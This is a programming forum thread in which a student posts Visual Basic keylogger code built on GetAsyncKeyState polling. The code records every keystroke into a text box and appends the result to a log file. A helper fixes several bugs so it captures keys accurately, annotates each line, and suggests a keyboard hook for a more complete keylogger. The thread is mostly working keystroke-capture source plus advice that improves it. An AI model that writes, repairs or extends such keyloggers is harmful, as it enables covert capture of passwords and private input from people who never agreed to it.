Keylogger Help!!

[Will13]

hi, i was just wondering if there was anyone who can run through a small section of code for me and place remarks on each line, describing what the line of code does?

message me with your msn if you think you can help

[Lord Orwell]

just post the code here. Someone will see it eventually. Also not all of the coder(z)s have (gag)msn (swallows bile again).

[Will13]

Dim blnlogging As Boolean

Private Sub cmdLog_Click()
cmdLog.Enabled = False
cmdStop.Enabled = True
blnlogging = True

Do While blnlogging = True
DoEvents

If GetAsyncKeyState(8) = -32767 Then
Text1 = Text1 & "[backspace]"
End If
If GetAsyncKeyState(9) = -32767 Then
Text1 = Text1 & "[tab]"
End If
If GetAsyncKeyState(27) = -32767 Then
Text1 = Text1 & "[esc]"
End If

For i = 32 To 127 'logs in ascii order, not acurate
result = 0
result = GetAsyncKeyState(i)

If result = -32767 Then
If GetAsyncKeyState(16) <= -32767 Then 'shift is pressed or held
Text1.Text = Text1.Text + UCase(Chr(i))
'checkshow Asc(UCase(Chr(i)))
Else
Text1.Text = Text1.Text + LCase(Chr(i))
'checkshow Asc(LCase(Chr(i)))
End If

If GetAsyncKeyState(13) = -32767 Then 'enterkey
Text1.Text = Text1.Text & vbCrLf
End If
End If
Next i
DoEvents

Loop
End Sub

Private Sub cmdStop_Click()
cmdLog.Enabled = True
cmdStop.Enabled = False
blnlogging = False
End Sub

Private Sub Form_Unload(Cancel As Integer)
logging = False

Open App.Path & "\log.txt" For Append As #1
Print #1, Text1.Text
Close #1
End Sub




then in the module i have...



Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

[Lord Orwell]

ok this is a basic setup. Getasynckeystate will read the current state of the keyboard one key at a time. I have to tell you i don't like the way this is written. If they used the correct data types they wouldn't have negative numbers. It also looks like it would only read the keypress every other keypress, because it is reading an absolute value for each key and only one bit of the read value indicates the current key position. The rest is toggle up/down, etc which change with each keypress. could you post that again inside some code tags? If you don't it is much harder to read because it kills the indents.

[Will13]

Dim blnlogging As Boolean

Private Sub cmdLog_Click()
cmdLog.Enabled = False
cmdStop.Enabled = True
blnlogging = True

Do While blnlogging = True
    DoEvents
    
    If GetAsyncKeyState(8) = -32767 Then
        Text1 = Text1 & "[backspace]"
    End If
    If GetAsyncKeyState(9) = -32767 Then
        Text1 = Text1 & "[tab]"
    End If
    If GetAsyncKeyState(27) = -32767 Then
        Text1 = Text1 & "[esc]"
    End If
    
    For i = 32 To 127   'logs in ascii order, not acurate
        result = 0
        result = GetAsyncKeyState(i)

        If result = -32767 Then
            If GetAsyncKeyState(16) <= -32767 Then    'shift is pressed or held
                Text1.Text = Text1.Text + UCase(Chr(i))
                'checkshow Asc(UCase(Chr(i)))
            Else
                Text1.Text = Text1.Text + LCase(Chr(i))
                'checkshow Asc(LCase(Chr(i)))
            End If
            
            If GetAsyncKeyState(13) = -32767 Then    'enterkey
                Text1.Text = Text1.Text & vbCrLf
            End If
        End If
    Next i
    DoEvents

Loop
End Sub

Private Sub cmdStop_Click()
cmdLog.Enabled = True
cmdStop.Enabled = False
blnlogging = False
End Sub

Private Sub Form_Unload(Cancel As Integer)
logging = False

Open App.Path & "\log.txt" For Append As #1
    Print #1, Text1.Text
Close #1
End Sub

Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

[Lord Orwell]

every line in that program that looks like this:

If GetAsyncKeyState(13) = -32767 Then

should be changed to this

if (GetAsyncKeyState(13) AND 1) = 1 then

This will stop duplicates, and will be accurate as long as you call it often enough.

[Will13]

hmmm

you know a lot more than i do lol...

what i need is a remark at the end of each line explaining what it does. the code will be marked, and appropriate remarks need to be included to gain full marks for internal documentation...do you think you would be capable of doing that?

[Lord Orwell]

Edit that post and change vbcode to code. It won't cut and paste properly and it has line numbers that have to be erased.

[Will13]

done

[Lord Orwell]

   
      Dim blnlogging As Boolean
   'This global variable is used as a marker.  If it is ever set to false, the program exits the loop
   
      Private Sub cmdLog_Click()
         cmdLog.Enabled = False ' disable the button you just clicked
   
      cmdStop.Enabled = True 'enable the stop button
      blnlogging = True 'assign a true value to this variable.
                        'this variable is used to exit the loop if it is ever set to false
      Do While blnlogging = True 'see notes on blnlogging
          DoEvents 'gives control to system.  probably not necessary here.  I would remove it.
          
          'Notes on the implementation of GetAsyncKeyState:
          'this api call will return both the current value of
          'whatever key scancode is passed to it (in bit 15) as
          'well as whether or not it has been pressed since last
          'reading the key.  This implementation only checks the
          'last state in order to prevent key duplicates in the
          'text box.  This is accomplished by ANDing the return
          'value of the call with 1, which filters out everything
          'except the first bit.
          
          If (GetAsyncKeyState(8) And 1) = 1 Then ' 8 is scancode for backspace
             Text1 = Text1 & "[backspace]"
          End If
          If (GetAsyncKeyState(9) And 1) = 1 Then ' 9 is scancode for tab
                Text1 = Text1 & "[tab]"
            End If
          If (GetAsyncKeyState(27) And 1) = 1 Then 'esc key
             Text1 = Text1 & "[esc]"
          End If
          If (GetAsyncKeyState(13) And 1) = 1 Then    'enterkey (moved it- in old location it was being 128 times instead of once per loop)
             Text1.Text = Text1.Text & vbCrLf
          End If
          
          'the following For Next loop sends every scan code to
          'getasynckeystate one at a time.
          For i = 32 To 127   'logs in ascii order, not acurate
              result = 0 'not important. Could probably remove
              result = GetAsyncKeyState(i)
              If (result And 1) = 1 Then 'see above note on implementation
                                     
                  If GetAsyncKeyState(16) > 0 Then    'shift is pressed or held
                                                      'read differently to take into account holding it down.
                      Text1.Text = Text1.Text + UCase(Chr(i)) 'makes character upper case before adding it to box
                  Else
                      Text1.Text = Text1.Text + LCase(Chr(i)) 'shift isn't pressed, so make it lower case
                  End If
              End If
          Next i
          If DoEvents = 0 Then Exit Do 'doevents gives control to system, and returns a value equal to # of open forms
                                        'if 0 forms open, it assumes you closed program and exits the loop
      Loop
  
      End Sub
      Private Sub cmdStop_Click()
         cmdLog.Enabled = True 'turns on a button
       cmdStop.Enabled = False ' disable the button you just clicked
        blnlogging = False ' used to exit the do/loop above
  
      End Sub
  
       
  
      Private Sub Form_Unload(Cancel As Integer)
  
      blnlogging = False 'this variable shuts off the do loop
        Open App.Path & "\log.txt" For Append As #1 ' output file is opened to add data to the end of it
            Print #1, Text1.Text ' outputs the text in text1 to the output file opened in the previous line
        Close #1 ' closes the opened file
        End Sub

[Lord Orwell]

Note, even if you switch back the code changes, I corrected a major dangerous glaring code error.
When your form unloads in your old code, it resets a non-existend variable to false. It should have been setting blnlogging to false.
This mistake will prevent the program from ever actually closing.

Change #2: The check for the enter key is in the wrong place. i moved it. It doesn't belong inside the for loop. This is a major performance and accuracy hit for the entire program.

[Will13]

ok sounds good, ill add that code into the program and test it out, ill get back to you in about 10 mins

[Will13]

ok heres a few questions on what you've done -

Text1.Text = Text1.Text & vbCrLf

what does the vbCrLf mean in this line?


why arent escape, enter and tab included in the for next loop, and when i press those keys, they arent printed in the text box, is this because they are separate to what is in the for next loop?

[Lord Orwell]

vbcrlf = "you pressed the enter key" it tells the textbox to start a new line. I didn't actually do that. It was already there.

It doesn't type "enter", it actually starts a new line. All of your checking is in a do:loop so they are in a loop too. If it isn't recording them in the textbox when you press them, then the checking is flawed for them. Change their check back to the way you had it.

[Will13]

ok thanks, ill come back here in a few days if i need anymore help, much appreciated

[Lord Orwell]

thank me by voting for me in the most popular member contest thread by the way you must have 20 posts or more for your ratings you give to be worth anything. But thanks anyway

[Will13]

consider it done!

[abusamra]

in this code the program dose not recognize the shift, controll, alt,...... buttons

[Lord Orwell]

so? Add them. They have constants just like the enter key does. Note that it will be very hard to determine if the ctrl or shift key is actually still pressed when you check another letter with this program. Your only option to make this 100% is to hook the keyboard. A side effect of a keyboard hook is that you don't need to call the code in a timer. It will be called automatically with each keypress.
check out this forum page:
http://www.vbforums.com/showpost.php...10&postcount=4
you can easily make this into a keylogger by adding the code in the KeybCallback function. most virtual keys are equal to ascii codes so the coding is pretty straightforward.